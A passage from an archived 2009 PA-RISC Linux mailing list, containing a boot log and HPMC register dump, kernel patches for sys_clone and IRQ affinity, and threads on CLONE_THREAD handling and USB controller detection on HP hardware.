net_namespace: 544 bytes
NET: Registered protocol family 16
Searching for devices...
Two devices have hardware path [255].  IODC data for second device:
00404e0000abRearranging GSC cards sometimes helps
Two devices have hardware path [255].  IODC data for second device:
00404e0000abRearranging GSC cards sometimes helps
Found devices:
1. Caribe DNA Central Agent at 0xfffffffffc400000 [255] { 14, 0x0,
0x007, 0x000aa }
2. Caribe W2 800 at 0xfffffffffc47a000 [11] { 0, 0x0, 0x5e7, 0x00004 }
3. Caribe W2 800 at 0xfffffffffc47c000 [12] { 0, 0x0, 0x5e7, 0x00004 }
4. Caribe W2 800 at 0xfffffffffc47e000 [13] { 0, 0x0, 0x5e7, 0x00004 }
5. Memory at 0xfffffffffc405000 [5] { 1, 0x0, 0x0a8, 0x00009 }
6. REO I/O BC Merced Port at 0xfffffff888000000 [0] { 7, 0x0, 0x804,
0x0000c }
7. Elroy PCI Bridge at 0xfffffff884000000 [0/0] { 13, 0x0, 0x782,
0x0000a }
8. Elroy PCI Bridge at 0xfffffff884002000 [0/1] { 13, 0x0, 0x782,
0x0000a }
9. Elroy PCI Bridge at 0xfffffff884004000 [0/2] { 13, 0x0, 0x782,
0x0000a }
10. Elroy PCI Bridge at 0xfffffff884006000 [0/3] { 13, 0x0, 0x782,
0x0000a }
11. Elroy PCI Bridge at 0xfffffff884008000 [0/4] { 13, 0x0, 0x782,
0x0000a }
12. Elroy PCI Bridge at 0xfffffff88400c000 [0/6] { 13, 0x0, 0x782,
0x0000a }
13. Elroy PCI Bridge at 0xfffffff884010000 [0/8] { 13, 0x0, 0x782,
0x0000a }
14. Elroy PCI Bridge at 0xfffffff884012000 [0/9] { 13, 0x0, 0x782,
0x0000a }
15. Elroy PCI Bridge at 0xfffffff884014000 [0/10] { 13, 0x0, 0x782,
0x0000a }
16. Elroy PCI Bridge at 0xfffffff884016000 [0/11] { 13, 0x0, 0x782,
0x0000a }
17. Elroy PCI Bridge at 0xfffffff884018000 [0/12] { 13, 0x0, 0x782,
0x0000a }
18. Elroy PCI Bridge at 0xfffffff88401c000 [0/14] { 13, 0x0, 0x782,
0x0000a }
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 12 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 13 failed with error 1
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 180000 (1 CPUs online)
iosapic_init()
calling get_irt_size (cell 4)
get_irt_size: 0
pdc_pat_get_irt: 0
iosapic Interrupt Routing Table (cell 4)
iosapic start = 0x000000023f090c00 num_entries 46 entry_size 16
iosapic 8b 10 00 0f 00 00 04 00 fffffff884000800
iosapic 8b 10 00 0f 04 00 04 00 fffffff884000800
iosapic 8b 10 00 0f 00 08 04 00 fffffff884002800
iosapic 8b 10 00 0f 01 08 04 01 fffffff884002800
iosapic 8b 10 00 0f 02 08 04 02 fffffff884002800
iosapic 8b 10 00 0f 03 08 04 03 fffffff884002800
iosapic 8b 10 00 0f 00 10 04 00 fffffff884004800
iosapic 8b 10 00 0f 01 10 04 01 fffffff884004800
iosapic 8b 10 00 0f 02 10 04 02 fffffff884004800
iosapic 8b 10 00 0f 03 10 04 03 fffffff884004800
iosapic 8b 10 00 0f 00 18 04 00 fffffff884006800
iosapic 8b 10 00 0f 01 18 04 01 fffffff884006800
iosapic 8b 10 00 0f 02 18 04 02 fffffff884006800
iosapic 8b 10 00 0f 03 18 04 03 fffffff884006800
iosapic 8b 10 00 0f 00 20 04 00 fffffff884008800
iosapic 8b 10 00 0f 01 20 04 01 fffffff884

ser pim:

HPMC Information

  HPMC Chassis Codes:      Extension:
  ------------------       -----------------
  0xb80008000000620f       0x0000000000000000
  0xb80008000000621c       0x0000000000000000
  0xb800082011016c2c       0x0000000000000000
  0xb80008000000626c       0x0000000000000000
  0x180008000000633c       0x0000000000000000
  0xb80008000000624c       0x00000000000000ea
  0xb8000800000062fc       0x00000000000000eb
  0xb8000800000062fc       0x00000000000000ec


Timestamp = 02:27:05 GMT    Feb 14 2009

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  00000081ff8a9cb0
00000081ffc40000
04-07  00000081ffc40330  00000081ffc407b0  00000081ffc407b0
00000081ffc40680
08-11  000000023f022a20  0000000000000040  0000000000000002
00000000005412c0
12-15  00ffff04ffffff94  0000000000000008  0000000000000001
000000000053f1c0
16-19  603c9b9103f774b0  00000081ffc407b8  603c9b9103f774b0
603c9b9103f774b0
20-23  000000000053f1c0  0000000000000001  0000000000000008
00ffff04ffffff94
24-27  00000000005412c0  0000000000000002  0000000000000040
00000081ff9d76f0
28-31  00000081ffc40000  0000000000541810  00000000005417d0
00000081ffc40690

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000
0000000000000000
08-11  0000000000000000  0000000000000000  00000000000000c0
0000000000000031
12-15  0000000000000000  0000000000000000  0000000000103000
8000000000000000
16-19  00000020f70a0b02  0000000000000081  00000081ff8a9d64
000000000e6010df
20-23  000000000436440f  40000000ddf774b0  0000000008000108
8000000000000000
24-27  000000000052c000  000000000052c000  13f8e363a2f7c22b
13f8e343a2f7c22b
28-31  13f8e363a2f7c22b  9358f363a2b78323  000000023f020000
93b8f363a2b5c32b

Space Registers 0 - 7
00-03  0000000000000000  0000000000000000  0000000000000000
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000
0000000000000000

Floating Point Registers 0 - 32
00-03  3b530fb761871637  f8be7beddfd0c244  d33fe1b257d77169
9944bc7fcf9b9221
04-07  1d906672bdc4223c  706fa77cab85706c  39fc0b5cdecc65cc
f467c37df74ee338
08-11  58e5a620d50cc070  b3f94d7ed58db410  d8948e47b7d0520a
fa0d021e579d246e
12-15  b8efd63f36764318  d17f0642fd85bc68  96ad979ebfd0640c
9edd22a7bf87a038
16-19  bbb5f63b0b84602b  63be400edfc16009  ba3c061dbed926f0
3c3596fff61c520c
20-23  1a2547ef7b460028  f859cd6e93a14a60  000000000000006f
00000000000000de
24-27  0000000000000000  ffcf1b1f5994e41c  db24613fc40c04e8
9a55837ebb4070ec
28-31  5ecd789fcacc7244  0000000200c08110  1a30a004d78a36ac
0000800010000000

IIA Space                    = 0x0000000000000081
IIA Offset                   = 0x00000081ff8a9d68
Check Type                   = 0x0000000020000000
CPU State                    = 0x000000009e000004
Cache Check                  = 0x0000000000000000
TLB Check                    = 0x0000000000000000
Bus Check                    = 0x000000000030000d
Assists Check                = 0x0000000000000000
Assist State                 = 0x0000000000000000
Path Info                    = 0x0000000000000000
System Responder Address     = 0xfffffffffc47a000
System Requestor Address     = 0x0000000000000000
Summary                      = 0xcb83000000000000
Available Memory             = 0x00000001ff800000
CPU DR2                      = 0x020211a10c002004
CPU Status 0                 = 0x3240c30000000000
CPU Status 1                 = 0x8000000000000000
CPU S Address Log            = 0x483ffffffffc0000
CPU RS Log                   = 0xc1bff0ffff417238
Time Stamp                   = 0x2009021400022705
System Firmware Revision     = 0x00000ac600002401
PDC Relocation Address       = 0x00000081ff800000


Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: simplify sys_clone()
Date: Fri, 13 Feb 2009 23:58:29 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <4995FB15.6060008@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234565924 10511 80.91.229.12 (13 Feb 2009 22:58:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Feb 2009 22:58:44 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 14 00:00:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LY70o-0007GS-5o
	for glpp-linux-parisc@gmane.org; Fri, 13 Feb 2009 23:59:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750901AbZBMW6f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Feb 2009 17:58:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753393AbZBMW6f
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Feb 2009 17:58:35 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:35460 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750901AbZBMW6e (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Feb 2009 17:58:34 -0500
Original-Received: (qmail invoked by alias); 13 Feb 2009 22:58:31 -0000
Original-Received: from mnhm-590e0c2c.pool.einsundeins.de (EHLO halden.box) [89.14.12.44]
  by mail.gmx.net (mp070) with SMTP; 13 Feb 2009 23:58:31 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+u5HciIpOu7J2MmSQQPjY+BrhzQV8hym4Gvgph4F
	5Xmt+s6ZR4CVU0
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1284
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1284>

No need to test clone_flags here and set parent_tidptr and child_tidptr
accordingly. The same check will be done in do_fork() and copy_process() anyway.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index b80e02a..ad585fd 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -231,8 +231,8 @@ sys_clone(unsigned long clone_flags, unsigned long usp,
 	   
 	   However, these last 3 args are only examined
 	   if the proper flags are set. */
-	int __user *child_tidptr;
-	int __user *parent_tidptr;
+	int __user *parent_tidptr = (int __user *)regs->gr[24];
+	int __user *child_tidptr  = (int __user *)regs->gr[22];
 
 	/* usp must be word aligned.  This also prevents users from
 	 * passing in the value 1 (which is the signal for a special
@@ -243,16 +243,6 @@ sys_clone(unsigned long clone_flags, unsigned long usp,
 	if (usp == 0)
 	  usp = regs->gr[30];
 
-	if (clone_flags & CLONE_PARENT_SETTID)
-	  parent_tidptr = (int __user *)regs->gr[24];
-	else
-	  parent_tidptr = NULL;
-	
-	if (clone_flags & (CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID))
-	  child_tidptr = (int __user *)regs->gr[22];
-	else
-	  child_tidptr = NULL;

From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] pthread/signal problems on hppa (ruby1.9 problems)
Date: Fri, 13 Feb 2009 18:31:23 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <119aab440902131531t54d759e6lb17b1aaedb7b5986@mail.gmail.com>
References: <4994C239.8010009@gmx.de>
	 <20090213163516.GB4559@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234567895 16234 80.91.229.12 (13 Feb 2009 23:31:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Feb 2009 23:31:35 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dann frazier <dannf@dannf.org>,
	Lucas Nussbaum <lucas@lucas-nussbaum.net>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 14 00:32:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LY7Wa-0001om-SH
	for glpp-linux-parisc@gmane.org; Sat, 14 Feb 2009 00:32:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757443AbZBMXb0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Feb 2009 18:31:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757349AbZBMXb0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Feb 2009 18:31:26 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.175]:55266 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757443AbZBMXb0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Feb 2009 18:31:26 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 28so1682384wfa.4
        for <linux-parisc@vger.kernel.org>; Fri, 13 Feb 2009 15:31:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=1MnKv8hMNmdN+sZBvXQCnMhbtcW5XMR9m4nLHbO7zF4=;
        b=TAzoO4L+T5Gffro5cLq8RIIodHjaMMcxZTMWWC1M/QMRz+9/7kqNDY6hf9ODQEhe/P
         PN74hF1zUKp7gUTgvWK/V1I7c90A7NVyHhWu7EtAGJjpWdYD8nYqys/0CHgQoVlzkYez
         qpKSEPgm2SLCUYxK6FLZ7rzBW4SaDZotLL75U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=KTvMWGF73s4os6eQXJI/LvAgVKuU+HWtSKGP7477aXDQBadEbHiAcJQcATRznady9X
         uMxPN4/o+irTysR/xKyEded9tLCqV6Eb/827M8EubLCe300WKfySBWDrtEtAEe5OteXW
         ZSOm8yaDqLC6VZdVWbWD8imA2JJFJysJO03zw=
Original-Received: by 10.142.139.14 with SMTP id m14mr1155862wfd.100.1234567884247; 
	Fri, 13 Feb 2009 15:31:24 -0800 (PST)
In-Reply-To: <20090213163516.GB4559@bombadil.infradead.org>
X-Google-Sender-Auth: 49dd086ab3c6d265
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1285>

On Fri, Feb 13, 2009 at 11:35 AM, Kyle McMartin <kyle@infradead.org> wrote:
> On Fri, Feb 13, 2009 at 01:43:37AM +0100, Helge Deller wrote:
>> child_stack=0x804b904, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM) = 30263
>
>> and here with hppa:
>> child_stack=0x804b904, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_SYSVSEM) = 30272

CLONE_THREAD informs the kernel of the *type* of POSIX signal
semantics to apply.

In glibc CLONE_SIGNAL expands to CLONE_SIGHAND | CLONE_THREAD, so
watch out for that when reading the code.

Unfortunately linuxthreads can't cope with CLONE_THREAD being enabled.
For example if you enable CLONE_THREAD then getpid() in those threads
will no
longer return a unique value per thread, but the thread group ID.

> Somewhat preturbed by this. This appears to be the flags set by the
> respective nptl and linuxthreads code paths. I thought Dann Frazier
> said that NPTL hadn't helped? Perhaps we still have bugs in our NPTL
> code... :/

CLONE_THREAD is always on in NPTL. I know of no targets that override
ARCH_CLONE in glibc to remove CLONE_THREAD from the flag list.

That is not to say that the bug might be different in NPTL.

> (See CLONE_SIGNAL in nptl/$mumble.c, versus the annotate of the file
>  you've patched in linuxthreads...)
>
> Would be curious to see what happens on linuxthreads-i386...

I would bet that it also locks up.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fixup cpu_check_affinity for const cpumask *dest
Date: Sat, 14 Feb 2009 03:22:19 -0500
Lines: 86
Approved: news@gmane.org
Message-ID: <20090214082219.GA17304@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234599749 12022 80.91.229.12 (14 Feb 2009 08:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Feb 2009 08:22:29 +0000 (UTC)
Cc: grundler@parisc-linux.org, rusty@rustcorp.com.au
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 14 09:23:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LYFoN-00013i-Vh
	for glpp-linux-parisc@gmane.org; Sat, 14 Feb 2009 09:23:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750717AbZBNIWV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Feb 2009 03:22:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750795AbZBNIWV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Feb 2009 03:22:21 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41638 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750717AbZBNIWU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Feb 2009 03:22:20 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LYFn1-0000Rm-4c; Sat, 14 Feb 2009 08:22:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1286
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1286>

Noticed a new build warning... poking at it a bit, and lo' and behold
it was a patch that never hit the list or my email...

Anyway, this preserves the intent of the original code, which was for
the first cpu set in the mask to be saved in *dest, so it could be
used to program the IRT entry.

Personally, I find the idea of changing irq_desc directly in the iosapic
code fairly distasteful, but there's not really a choice.

diff --git a/arch/parisc/include/asm/irq.h b/arch/parisc/include/asm/irq.h
index 399c819..dfa26b6 100644
--- a/arch/parisc/include/asm/irq.h
+++ b/arch/parisc/include/asm/irq.h
@@ -49,7 +49,7 @@ extern unsigned long txn_alloc_addr(unsigned int);
 extern unsigned long txn_affinity_addr(unsigned int irq, int cpu);
 
 extern int cpu_claim_irq(unsigned int irq, struct irq_chip *, void *);
-extern int cpu_check_affinity(unsigned int irq, cpumask_t *dest);
+extern int cpu_check_affinity(unsigned int irq, const struct cpumask *dest);
 
 /* soft power switch support (power.c) */
 extern struct tasklet_struct power_tasklet;
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index ac2c822..0454080 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -112,7 +112,7 @@ void cpu_end_irq(unsigned int irq)
 }
 
 #ifdef CONFIG_SMP
-int cpu_check_affinity(unsigned int irq, cpumask_t *dest)
+int cpu_check_affinity(unsigned int irq, const struct cpumask *dest)
 {
 	int cpu_dest;
 
@@ -126,17 +126,19 @@ int cpu_check_affinity(unsigned int irq, cpumask_t *dest)
 
 	/* whatever mask they set, we just allow one CPU */
 	cpu_dest = first_cpu(*dest);
-	*dest = cpumask_of_cpu(cpu_dest);
 
-	return 0;
+	return cpu_dest;
 }
 
 static void cpu_set_affinity_irq(unsigned int irq, const struct cpumask *dest)
 {
-	if (cpu_check_affinity(irq, dest))
+	int cpu_dest;
+
+	cpu_dest = cpu_check_affinity(irq, dest);
+	if (cpu_dest < 0)
 		return;
 
-	irq_desc[irq].affinity = *dest;
+	irq_desc[irq].affinity = cpumask_of_cpu(cpu_dest);
 }
 #endif
 
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 1cdfdea..501aaf1 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -708,11 +708,14 @@ static void iosapic_set_affinity_irq(unsigned int irq,
 	struct vector_info *vi = iosapic_get_vector(irq);
 	u32 d0, d1, dummy_d0;
 	unsigned long flags;
+	int dest_cpu;
 
-	if (cpu_check_affinity(irq, dest))
+	dest_cpu = cpu_check_affinity(irq, dest);
+	if (dest_cpu < 0)
 		return;
 
-	vi->txn_addr = txn_affinity_addr(irq, cpumask_first(dest));
+	irq_desc[irq].affinity = cpumask_of_cpu(dest_cpu);
+	vi->txn_addr = txn_affinity_addr(irq, dest_cpu);
 
 	spin_lock_irqsave(&iosapic_lock, flags);
 	/* d1 contains the destination CPU, so only want to set that
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Re : lenny / testing : missing USB device files
Date: Sun, 15 Feb 2009 11:54:58 +0100
Lines: 299
Approved: news@gmane.org
Message-ID: <4997F482.6050405@gmx.de>
References: <200902150055.n1F0ta8X007465@stephenson.dhis.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234695335 11316 80.91.229.12 (15 Feb 2009 10:55:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Feb 2009 10:55:35 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, 
 linux-parisc <linux-parisc@vger.kernel.org>
To: Jean-Pierre HOFER <jph@stephenson.dhis.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Feb 15 11:56:49 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LYeg1-0001Bu-1r
	for debian-hppa@m.gmane.org; Sun, 15 Feb 2009 11:56:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 0133E13A6730; Sun, 15 Feb 2009 10:55:33 +0000 (UTC)
Old-Return-Path: <deller@gmx.de>
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.2 required=4.0 tests=FOURLA,FVGT_m_MULTI_ODD,
	IMPRONONCABLE_1,IMPRONONCABLE_2,LDOSUBSCRIBER,LDO_WHITELIST,MONEY,
	MURPHY_WRONG_WORD1,MURPHY_WRONG_WORD2,PHONENUMBER,STOCKLIKE,TVD_STOCK1
	autolearn=no version=3.2.3
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 7AB6C13A672C
	for <lists-debian-hppa@liszt.debian.org>; Sun, 15 Feb 2009 10:55:25 +0000 (UTC)
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 15434-75 for <lists-debian-hppa@liszt.debian.org>;
	Sun, 15 Feb 2009 10:55:21 +0000 (UTC)
X-policyd-weight: DYN_NJABL=ERR NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 CL_IP_EQ_HELO_IP=-2 (check from: .gmx. - helo: .mail.gmx. - helo-domain: .gmx.)  FROM/MX_MATCHES_HELO(DOMAIN)=-2 <client=213.165.64.20> <helo=mail.gmx.net> <from=deller@gmx.de> <to=debian-hppa@lists.debian.org>, rate: -7
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by liszt.debian.org (Postfix) with SMTP id 6A94E13A6579
	for <debian-hppa@lists.debian.org>; Sun, 15 Feb 2009 10:55:13 +0000 (UTC)
Original-Received: (qmail invoked by alias); 15 Feb 2009 10:55:00 -0000
Original-Received: from mnhm-590f60c7.pool.einsundeins.de (EHLO halden.box) [89.15.96.199]
  by mail.gmx.net (mp050) with SMTP; 15 Feb 2009 11:55:00 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX194O79EM/l4q951sJP5U+WhTwUc5aSgTfZ2w2qf1Z
	ywbCJFqo0y0lFl
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <200902150055.n1F0ta8X007465@stephenson.dhis.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=2.619 tagged_above=3.6 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FVGT_m_MULTI_ODD=0.02,
	IMPRONONCABLE_1=1, IMPRONONCABLE_2=1, LDO_WHITELIST=-5, MONEY=0.5,
	MURPHY_WRONG_WORD1=0.1, MURPHY_WRONG_WORD2=0.2, PHONENUMBER=1.5,
	STOCKLIKE=1, TVD_STOCK1=4.199]
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <xrz4BZ8AkNL.A.DgG.kS_lJB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6609
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 15 Feb 2009 10:55:33 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5609 gmane.linux.ports.parisc:1288
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1288>

Hi Jean-Pierre,
(added linux-parisc mailing list)

I just tested the debian kernel on my c3k.
For me a small external USB disk (250GB disk) attached to the USB bus worked fine.
Just for reference, I've uploaded my dmesg file here: http://userweb.kernel.org/~deller/usbdisk.c3k/dmesg.c3k

On your system PCI bus handling seems strange, e.g. those kernel messages:
a) PCI: Unable to handle 64-bit address space for bridge 0000:01:04.0
b) [17179607.932000] ohci_hcd 0000:02:08.0: controller already in use

So, although your ohci_hcd driver was loaded, it was not activated. That's why you can't access your USB disks.

As I'm no PCI bus expert, maybe the other collegues on the parisc mailing list could comment?

The messages of a 64bit kernel would be interesting as well...

Helge

Jean-Pierre HOFER wrote:
>>> I am unable to find any USB device files on my system (HP C360, debian testing
>>> 2.6.26-1) and to plug any USB device.
>>>
>>> lspri -v | grep HCI
>>> 02.08.0 USB Controller: NEC Corporation USB (rev 41) (prog-if 10 [OHCI])
>>> 02:08.1 USB Controller: NEC Corporation USB (rev 41) (prog-if 10 [OHCI])
>>> 02:08.2 USB Controller: NEC Corporation USB 2.0 (rev 02) (prog-if 20 [EHCI])
>>>
>>> It seems that the USB controller was detected at boot time since the drivers
